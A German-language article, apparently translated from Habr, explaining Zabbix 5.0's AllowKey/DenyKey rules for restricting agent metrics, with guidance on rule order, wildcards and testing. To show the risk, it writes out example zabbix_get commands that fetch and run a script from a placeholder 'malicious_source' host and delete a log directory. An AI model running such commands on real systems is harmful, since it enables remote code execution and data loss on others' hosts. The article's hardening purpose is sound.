
Unterstützung für schwarze und weiße Listen für Metriken auf Agentenseite
Tikhon Uskov, Integrationsingenieur, Zabbix
Sicherheitsprobleme bei Daten
In Zabbix 5.0 wurde eine neue Funktion eingeführt, die die Sicherheit in Systemen mit Zabbix Agent verbessert und den alten Parameter ersetzt EnableRemoteCommands.
Die Verbesserung der Sicherheit von Systemen mit dem Agenten ist darauf zurückzuführen, dass der Agent eine Vielzahl potenziell gefährlicher Aktionen ausführen kann.
- Der Agent kann nahezu alle Informationen sammeln, einschließlich vertraulicher oder potenziell gefährlicher Informationen aus Konfigurationsdateien, Protokolldateien, Passwortdateien oder anderen Dateien.
Zum Beispiel kann mit dem Dienstprogramm zabbix_get auf die Benutzerliste, deren Home-Verzeichnisse, Passwortdateien usw. zugegriffen werden.

Zugriff auf Daten mit dem Dienstprogramm zabbix_get
HINWEIS. Daten können nur abgerufen werden, wenn der Agent Leserechte für die entsprechende Datei hat. Aber zum Beispiel ist die Datei /etc/passwd/ für alle Benutzer lesbar.
- Der Agent kann auch potenziell gefährliche Befehle ausführen. Zum Beispiel der Schlüssel *system.run[]** ermöglicht das Ausführen beliebiger Remote-Befehle auf den Netzwerkmaschinen, einschließlich das Starten von Skripten über die Zabbix-Weboberfläche, die ebenfalls Befehle auf Agentenseite ausführen.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- In Linux wird der Agent standardmäßig ohne Root-Rechte ausgeführt, während er unter Windows als Dienst unter dem Systemkonto ausgeführt wird und uneingeschränkten Zugriff auf das Dateisystem hat. Dementsprechend hat der Agent, wenn nach der Installation keine Änderungen an den Zabbix Agent-Einstellungen vorgenommen wurden, Zugriff auf die Registry, das Dateisystem und kann WMI-Abfragen ausführen.
In früheren Versionen erlaubte der Parameter EnableRemoteCommands=0 nur das Deaktivieren von Metriken mit dem Schlüssel *system.run[]** und das Ausführen von Skripten über die Weboberfläche, aber es war nicht möglich, den Zugriff auf bestimmte Dateien zu beschränken, einzelne Schlüssel zu genehmigen oder zu verbieten, die mit dem Agenten eingerichtet wurden, oder die Verwendung einzelner Parameter einzuschränken.

Die Verwendung des Parameters EnableRemoteCommand in früheren Versionen von Zabbix
AllowKey/DenyKey
Zabbix 5.0 hilft, sich gegen unbefugten Zugriff durch weiße und schwarze Listen zum Erlauben und Verbieten von Metriken auf Agentenseite zu schützen.
In Zabbix 5.0 sind alle Schlüssel, einschließlich *system.run[]**, erlaubt, und es wurden zwei neue Parameter für die Agenten-Konfiguration hinzugefügt:
AllowKey= — zulässige Prüfungen;
DenyKey= — unzulässige Prüfungen;
wo — das Muster des Schlüsselnamens mit Parametern, in dem Platzhalter (*) verwendet werden,.
Die Schlüssel AllowKey und DenyKey ermöglichen es, bestimmte Metriken anhand eines festgelegten Musters zuzulassen oder zu verbieten. Im Gegensatz zu anderen Konfigurationsparametern ist die Anzahl der Parameter für AllowKey/DenyKey unbegrenzt. Dies ermöglicht eine klare Definition dessen, was der Agent im System tun kann, durch die Erstellung eines Prüfbaums — von ausführbaren Schlüsseln, wobei die Reihenfolge ihrer Angabe eine sehr wichtige Rolle spielt.
Regelsequenz
Die Regeln werden in der Reihenfolge überprüft, in der sie in die Konfigurationsdatei eingefügt werden. Die Prufung des Schlüssels nach den Regeln erfolgt bis zur ersten Übereinstimmung, und sobald der Schlüssel des Datenelements mit dem Muster übereinstimmt, wird er zugelassen oder abgelehnt. Danach wird die Überprüfung der Regeln gestoppt, und die verbleibenden Schlüssel werden ignoriert.
Wenn ein Element also sowohl mit einem zulassenden als auch mit einem verbietenden Regel übereinstimmt, hängt das Ergebnis davon ab, welche Regel zuerst in der Konfigurationsdatei steht.

2 verschiedene Regeln mit demselben Muster und Schlüssel vfs.file.size[/tmp/file]
Reihenfolge der Verwendung von AllowKey/DenyKey:
- exakte Regeln,
- allgemeine Regeln,
- verbietende Regel.
Zum Beispiel, wenn Sie Zugriff auf Dateien in einem bestimmten Ordner benötigen, müssen Sie zuerst den Zugriff darauf zulassen, bevor Sie alles andere verbieten, was nicht unter die festgelegten Berechtigungen fällt. Wenn zuerst eine verbietende Regel verwendet wird, wird der Zugriff auf den Ordner verweigert.

Richtige Reihenfolge
Wenn es erforderlich ist, den Start von 2 Dienstprogrammen über * zuzulassen,system.run[]**, und wenn zuerst eine verbietende Regel angegeben wird, werden die Dienstprogramme nicht gestartet, da das erste Muster immer mit jedem Schlüssel übereinstimmen wird, und die folgenden Regeln ignoriert werden.

Falsche Reihenfolge
Muster
Grundlegende Regeln
Ein Muster ist ein Ausdruck mit Platzhaltern (Wildcard). Der Platzhalter (*) entspricht einer beliebigen Anzahl beliebiger Zeichen an einer bestimmten Stelle. Platzhalter können sowohl im Schlüsselnamen als auch in den Parametern verwendet werden. Zum Beispiel kann der erste Parameter festgelegt werden, und der folgende als Wildcard angegeben werden..
Die Parameter müssen in eckige Klammern [] eingeschlossen werden.
system.run[*— falschvfs.file*.txt]— falschvfs.file.*[*]— korrekt
Beispiele für die Verwendung von Platzhaltern.
- Im Schlüsselnamen und im Parameter. In diesem Fall entspricht der Schlüssel nicht einem entsprechenden Schlüssel, der keinen Parameter enthält, da wir im Muster angegeben haben, dass wir ein bestimmtes Ende des Schlüsselnamens und eine bestimmte Menge von Parametern erhalten möchten.
- Wenn im Muster keine eckigen Klammern verwendet werden, erlaubt das Muster alle Schlüssel, die keine Parameter enthalten, und verbietet alle Schlüssel mit dem angegebenen Parameter.
- Wenn der Schlüssel vollständig angegeben und die Parameter als Platzhalter angegeben sind, entspricht er jedem entsprechenden Schlüssel mit beliebigen Parametern und entspricht nicht einem Schlüssel ohne eckige Klammern, d. h. er wird erlaubt oder verboten.

Regeln zur Ausfüllung von Parametern.
- Wenn die Verwendung eines Schlüssels mit Parametern vorgesehen ist, müssen die Parameter in der Konfigurationsdatei angegeben werden. Die Parameter müssen als Metazeichen angegeben werden. Es ist wichtig, den Zugriff auf eine Datei vorsichtig zu verweigern und zu berücksichtigen, welche Informationen die Metrik bei verschiedenen Schreibvarianten zurückgeben kann – mit und ohne Parameter.

Besonderheiten beim Schreiben von Schlüsseln mit Parametern.
- Wenn der Schlüssel mit Parametern angegeben ist, die jedoch optional sind und als Metazeichen angegeben werden, wird der Schlüssel ohne Parameter erlaubt. Wenn Sie beispielsweise das Abrufen von Informationen über die CPU-Auslastung verbieten möchten und angeben, dass der Schlüssel system.cpu.load[*] verboten sein soll, denken Sie daran, dass der Schlüssel ohne Parameter den Durchschnitt der Auslastung zurückgibt.

Regeln zur Ausfüllung von Parametern.
Notizen
Einstellungen
- Einige Regeln können vom Benutzer nicht geändert werden, beispielsweise Regeln zur Entdeckung (discovery) oder zur automatischen Registrierung von Agenten. Die Regeln AllowKey/DenyKey betreffen nicht die folgenden Parameter:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem
HINWEIS. Wenn der Administrator einen bestimmten Schlüssel verbietet, gibt Zabbix bei der Anfrage keine Informationen darüber heraus, aus welchem Grund die Metrik oder der Schlüssel in die Kategorie ‘NOTSUPPORTED‘ fällt. In den Log-Dateien des Agenten sind auch keine Informationen über Verbote zur Ausführung von Remote-Befehlen sichtbar. Dies wurde aus Sicherheitsgründen so gestaltet, kann jedoch die Fehlersuche erschweren, wenn Metriken aus verschiedenen Gründen in die nicht unterstützte Kategorie fallen..
- Man sollte sich nicht auf eine bestimmte Reihenfolge beim Laden externer Konfigurationsdateien verlassen (zum Beispiel in alphabetischer Reihenfolge).
Befehlszeilenhilfsprogramme
Nach der Konfiguration der Regeln muss sichergestellt werden, dass alles korrekt eingerichtet ist.
Es stehen drei Optionen zur Verfügung:
- Metrik in Zabbix hinzufügen.
- Testen Sie mit zabbix_agentd. Der Zabbix-Agent mit der Option -print (-p) zeigt alle Schlüssel (die standardmäßig erlaubt sind), mit Ausnahme derjenigen, die durch die Konfiguration nicht erlaubt sind. Mit der Option -test (-t) gibt für den nicht erlaubten Schlüssel ‚Unsupported item key‘.
- Testen Sie mit zabbix_get. Das Tool zabbix_get mit der Option -k gibt ‚ZBX_NOTSUPPORTED: Unbekannte Metrik‘.
Erlauben oder Verweigern
Sie können den Zugriff auf die Datei verweigern und beispielsweise mit dem Tool zabbix_get, überprüfen, dass der Zugriff auf die Datei verweigert wird.

**
HINWEIS. Anführungszeichen im Parameter werden ignoriert..
Der Zugriff auf eine solche Datei kann jedoch auf andere Weise erlaubt sein. Zum Beispiel, wenn sie über einen symbolischen Link erreichbar ist.

Es wird empfohlen, verschiedene Anwendungsmöglichkeiten der festgelegten Regeln zu überprüfen und auch die Möglichkeit zu berücksichtigen, die Verbote zu umgehen.
Fragen und Antworten
Frage. Warum wurde für die Beschreibung von Regeln, Berechtigungen und Verboten ein so kompliziertes Muster mit einer eigenen Sprache gewählt? Warum konnte nicht zum Beispiel reguläre Ausdrücke verwendet werden, die Zabbix nutzt?
Antwort. Das ist eine Frage der Leistung von Regex, da der Agent in der Regel nur einer ist und eine enorme Anzahl an Metriken überprüft. Regex ist eine recht ressourcenintensive Operation, und wir können nicht Tausende von Metriken auf diese Weise überprüfen. Platzhalter sind eine universelle, weit verbreitete und einfache Lösung..
Frage. Werden Include-Dateien nicht alphabetisch eingebunden?
Antwort. Soweit ich weiß, ist es praktisch unmöglich, die Reihenfolge der Regelanwendung vorherzusagen, wenn Sie die Regeln auf verschiedene Dateien verteilen. Ich empfehle, alle Regeln AllowKey/DenyKey in einer Include-Datei zu bündeln, da sie miteinander interagieren, und diese Datei dann einzubinden..
Frage. In Zabbix 5.0 fehlt die Option „EnableRemoteCommands=‘ in der Konfigurationsdatei, und es sind nur AllowKey/DenyKey verfügbar?
Antwort. Ja, das ist korrekt..
Vielen Dank für Ihre Aufmerksamkeit!
Quelle: habr.com
